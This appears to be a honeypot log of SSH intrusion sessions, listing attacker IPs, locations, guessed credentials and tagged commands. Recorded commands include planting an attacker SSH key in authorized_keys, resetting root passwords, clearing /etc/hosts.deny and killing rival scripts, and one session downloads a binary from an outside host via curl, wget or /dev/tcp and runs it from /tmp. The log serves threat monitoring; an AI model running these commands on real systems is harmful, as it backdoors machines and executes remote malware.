$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ midnight_silk_root_47 (8.135.238.47) โ€” Shenzhen, China ยท 1 session ยท 5 cmds
2026-07-18 12:18 EDT ยท as root/123456
echo โ†’ execute from /tmp โ†’ '8
$ echo 1 > /dev/null && cat /bin/echo
$ echo 123456 > /tmp/.opass
$ head -c 3716336 > /tmp/3RxSJKxjyg
โ†ณ execute from /tmp
$ echo 1 > /dev/null && cat /bin/echoQtd#0000
$ >A@/`'8
๐ŸŽญ midnight_mango_root (182.52.90.106) โ€” Bangkok, Thailand ยท 1 session ยท 20 cmds
2026-07-18 09:26 EDT ยท as admin/password
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "password\nqoFJqoqJM1Oy\nqoFJqoqJM1Oy"|passwd|bash
$ Enter new UNIX password:
$ echo "password\nqoFJqoqJM1Oy\nqoFJqoqJM1Oy\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ derelict_lantern_root_189 (59.110.9.189) โ€” Beijing, China ยท 1 session ยท 5 cmds
2026-07-18 07:02 EDT ยท as root/123456
echo โ†’ payload download from C2 โ†’ execute from /tmp โ†’ '8
$ echo 1 > /dev/null && cat /bin/echo
$ nohup $SHELL -c "curl http://47.86.33.195:60130/linux -o /tmp/vdrZPpD0oX; if [ ! -f /tmp/vdrZPpD0oX ]; then wget http://47.86.33.195:60130/linux -O /tmp/vdrZPpD0oX; fi; if [ ! -f /tmp/vdrZPpD0oX ]; then exec 6<>/dev/tcp/47.86.33.195/60130 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/vdrZPpD0oX ; chmod +x /tmp/vdrZPpD0oX && /tmp/vdrZPpD0oX JBQ7KEy4Q7vfwbpLuEsrMwJZWAQ8Ok2vQa3e3rFcr080MQNTXwM5LFynQLHB2rJcpEw0OABZUwI8LE62Sq3e3Ldcp0gqJwZbUwwwKkm2Q7LXwbJLo1IrOgJHWA08IESiS7bP27Rcrko0OgdHWA08IEqmQ7Dfz7JKpVIrOBpbWwInKEyhSLTe3bZSp0wrJwVaWho4KES4QLDZ1bRLrk86OARYRwU6KVKnRbHB3rRArEsrPQNJWAY5NEuhXLLB3bNIoEwoOBRYWQUnKU+4QLfawbVErEsoPQBJWAM8NE2hSq3e3rpcpEsgMQVZWRQ4KUi4Q7TawbJAo1IrOQZTUQU8KFyiRa3e3bFco0k0OwdeUww6I0S2Q7HfwbRFuE4pPhpYXgAzLUivRqPa1q1Dp0w0MBpYUQ0zI0quRqPb2K1DpE00OAdRRwY4K0agRLPWz7JFo1IrPgxHUAInK0ikSLTf27tSoE40OwddRwcnIk6sSrfc2qNGoVIjOxpbWAYnK0SmSLTY2bNSrlIrPQxHWwU4NEqiSLTX2LpSpUU0OARfRwU6KVKiSLTa3bpSp00uJwVaWxo7Lk24QLDW1bRLpUo6OANbRwY9L1KnRrvB3btIr0UvORRYWAcnK0W4Q7PWwbJBoUYiPwdcSQU7KlKhRa3d3LRcp0suMwNdUAApIlKnQbfB3rdCuE4oMwxQWQEpLku4Q7HewbJKolIrOgxTUAw7KVyiRa3e3bFco0k0OwdeUww6I0S2Q7LWwbpDuE0uOhpdXA4xKEmkxFe5THGa7fZBrnWfDA1WsGOtWUs=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/vdrZPpD0oX && /tmp/vdrZPpD0oX JBQ7KEy4Q7vfwbpLuEsrMwJZWAQ8Ok2vQa3e3rFcr080MQNTXwM5LFynQLHB2rJcpEw0OABZUwI8LE62Sq3e3Ldcp0gqJwZbUwwwKkm2Q7LXwbJLo1IrOgJHWA08IESiS7bP27Rcrko0OgdHWA08IEqmQ7Dfz7JKpVIrOBpbWwInKEyhSLTe3bZSp0wrJwVaWho4KES4QLDZ1bRLrk86OARYRwU6KVKnRbHB3rRArEsrPQNJWAY5NEuhXLLB3bNIoEwoOBRYWQUnKU+4QLfawbVErEsoPQBJWAM8NE2hSq3e3rpcpEsgMQVZWRQ4KUi4Q7TawbJAo1IrOQZTUQU8KFyiRa3e3bFco0k0OwdeUww6I0S2Q7HfwbRFuE4pPhpYXgAzLUivRqPa1q1Dp0w0MBpYUQ0zI0quRqPb2K1DpE00OAdRRwY4K0agRLPWz7JFo1IrPgxHUAInK0ikSLTf27tSoE40OwddRwcnIk6sSrfc2qNGoVIjOxpbWAYnK0SmSLTY2bNSrlIrPQxHWwU4NEqiSLTX2LpSpUU0OARfRwU6KVKiSLTa3bpSp00uJwVaWxo7Lk24QLDW1bRLpUo6OANbRwY9L1KnRrvB3btIr0UvORRYWAcnK0W4Q7PWwbJBoUYiPwdcSQU7KlKhRa3d3LRcp0suMwNdUAApIlKnQbfB3rdCuE4oMwxQWQEpLku4Q7HewbJKolIrOgxTUAw7KVyiRa3e3bFco0k0OwdeUww6I0S2Q7LWwbpDuE0uOhpdXA4xKEmkxFe5THGa7fZBrnWfDA1WsGOtWUs=" &
โ†ณ payload download from C2
$ head -c 3716336 > /tmp/WvnlexGmTt
โ†ณ execute from /tmp
$ echo 1 > /dev/null && cat /bin/echoQtd#0000
$ >A@/`'8
๐ŸŽญ rusty_monsoon_root (182.18.161.165) โ€” Hyderabad, India ยท 1 session ยท 19 cmds
2026-07-18 04:15 EDT ยท as root/123456
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:e3ZVWAszfGDZ"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ venomous_lotus_root (35.200.201.144) โ€” Mumbai, India ยท 35 sessions ยท 35 cmds
2026-07-18 02:04 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—35
๐ŸŽญ molten_drifter_root (194.118.126.98) โ€” Vienna, Austria ยท 1 session ยท 1 cmd
2026-07-18 02:19 EDT ยท as root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ silent_crepe_root (185.99.99.95) โ€” Strasbourg, France ยท 1 session ยท 19 cmds
2026-07-18 02:13 EDT ยท as root/123qweasdZXC
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:GWoMsZefQM18"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ jittery_eagle_root (20.102.98.53) โ€” Boydton, United States ยท 2 sessions ยท 39 cmds
2026-06-30 08:56 EDT ยท as admin/password, root/123qweasdZXC
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l ร—2
โ†ณ CPU profiling
$ echo "root:9B7mCYlCVJTN"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ร—2
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ร—2
$ ls -lh $(which ls) ร—2
$ which ls ร—2
$ crontab -l ร—2
โ†ณ persistence setup
$ w ร—2
โ†ณ logged-in users check
$ uname -m ร—2
$ cat /proc/cpuinfo | grep model | grep name | wc -l ร—2
โ†ณ CPU profiling
$ top ร—2
โ†ณ process monitoring
$ uname ร—2
โ†ณ OS identification
$ uname -a ร—2
โ†ณ OS/kernel identification
$ whoami ร—2
โ†ณ privilege check
$ lscpu | grep Model ร—2
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ร—2
$ echo -e "password\nUz46ABCTULpj\nUz46ABCTULpj"|passwd|bash
$ Enter new UNIX password:
$ echo "password\nUz46ABCTULpj\nUz46ABCTULpj\n"|passwd
๐ŸŽญ manic_burger_sol (50.116.72.139) โ€” Ashburn, United States ยท 1 session ยท 20 cmds
2026-07-18 00:04 EDT ยท as solana/solana
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "solana\nAgPKxqrGXxeR\nAgPKxqrGXxeR"|passwd|bash
$ Enter new UNIX password:
$ echo "solana\nAgPKxqrGXxeR\nAgPKxqrGXxeR\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ lurking_jade_root (36.112.133.74) โ€” Beijing, China ยท 1 session ยท 2 cmds
2026-07-17 23:01 EDT ยท as oracle/oracle@2025
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ spectral_wok_root_210 (8.138.221.210) โ€” Guangzhou, China ยท 1 session ยท 1 cmd
2026-07-17 14:04 EDT ยท as user/user
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ silent_dutch_root (91.92.47.53) โ€” Amsterdam, The Netherlands ยท 1 session ยท 1 cmd
2026-07-17 13:02 EDT ยท as oracle/1qaz!QAZ
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m
๐ŸŽญ wired_husk_root (41.173.43.34) โ€” Harare, Zimbabwe ยท 1 session ยท 2 cmds
2026-07-17 10:57 EDT ยท as oracle/Password1
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ murky_autobahn_root (91.98.143.75) โ€” Nuremberg, Germany ยท 2 sessions ยท 2 cmds
2026-07-17 08:26 EDT ยท as root/toor
ls โ†’ echo
$ ls /opt/cowrie /etc/cowrie /var/log/cowrie /home/cowrie 2>/dev/null && echo FOUND || echo ABSENT
$ echo HP_EXEC_OK
๐ŸŽญ sullen_jade_root_97 (121.229.9.97) โ€” Nanjing, China ยท 1 session ยท 19 cmds
2026-07-17 07:17 EDT ยท as root/@qwer2025
oracle/asd123 login โ†’ chattr/lockr harden .ssh โ†’ rm -rf .ssh โ†’ overwrite with C2 key โ†’ chpasswd root/@qwer2025 โ†’ kill rogue scripts โ†’ clear /etc/hosts โ†’ enumerate CPU model/count โ†’ parse /proc/cpuinfo for architecture โ†’ dump memory stats โ†’ verify ls binary โ†’ check crontab โ†’ run w โ†’
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:PCk7HhzRUfmG"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ unhinged_clog_sol (91.92.40.52) โ€” Amsterdam, The Netherlands ยท 27 sessions ยท 27 cmds
2026-07-17 03:09 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—27
๐ŸŽญ stoic_echo_root_248 (2.26.0.248) โ€” Helsinki, Finland ยท 1 session ยท 1 cmd
2026-07-17 04:05 EDT ยท as root/12345678
echo
$ echo SHELL_TEST
๐ŸŽญ drowsy_silk (120.76.202.208) โ€” Shenzhen, China ยท 1 session ยท 1 cmd
2026-07-17 03:10 EDT ยท as user/user
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ sneaky_lantern_root_241 (124.222.38.241) โ€” Shanghai, China ยท 1 session ยท 1 cmd
2026-07-17 02:54 EDT ยท as ubuntu/ubuntu
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ placid_chateau_root (141.94.19.216) โ€” Gravelines, France ยท 3 sessions ยท 3 cmds
2026-07-14 17:20 EDT ยท as postgres/postgres, ubuntu/ubuntu, user/user
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a ร—3
โ†ณ OS/kernel identification
๐ŸŽญ drowsy_komodo_root (180.247.57.155) โ€” Bekasi, Indonesia ยท 1 session ยท 2 cmds
2026-07-16 23:59 EDT ยท as oracle/oracle@2024
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ unhinged_merlion_root (165.232.167.128) โ€” Singapore, Singapore ยท 1 session ยท 20 cmds
2026-07-16 21:42 EDT ยท as tomcat/tomcat
cd ~; chattr -ia .ssh โ†’ cd ~ && rm -rf .ssh โ†’ mkdir .ssh โ†’ echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv" โ†’ echo "tomcat\nNamTU3QO8rll\nNamTU3
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "tomcat\nNamTU3QO8rll\nNamTU3QO8rll"|passwd|bash
$ Enter new UNIX password:
$ echo "tomcat\nNamTU3QO8rll\nNamTU3QO8rll\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ manic_merlion_root (129.212.237.153) โ€” Singapore, Singapore ยท 1 session ยท 20 cmds
2026-07-16 21:21 EDT ยท as tomcat/tomcat
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa..." โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ echo "tomcat\nI2dyp5Olwnfw\nI2dyp5Olwnfw"|passwd|bash โ†’ Enter new UNIX
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "tomcat\nI2dyp5Olwnfw\nI2dyp5Olwnfw"|passwd|bash
$ Enter new UNIX password:
$ echo "tomcat\nI2dyp5Olwnfw\nI2dyp5Olwnfw\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ rusty_specter_root (46.29.234.126) โ€” Vilnius, Lithuania ยท 1 session ยท 2 cmds
